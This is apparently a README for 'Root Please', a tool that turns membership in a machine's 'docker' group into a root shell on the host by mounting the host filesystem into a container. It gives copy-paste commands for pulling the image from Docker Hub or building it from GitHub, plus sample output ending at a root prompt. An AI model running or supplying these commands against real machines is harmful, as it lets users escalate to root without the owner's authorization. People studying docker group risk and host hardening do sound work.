Root Please

If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. See my blog post for details.

How to Use

Through Docker Hub:

> docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

Or through Github:

> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
> cd rootplease/
> docker build -t rootplease .
> docker run -v /:/hostOS -it --rm rootplease

And the result:

johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
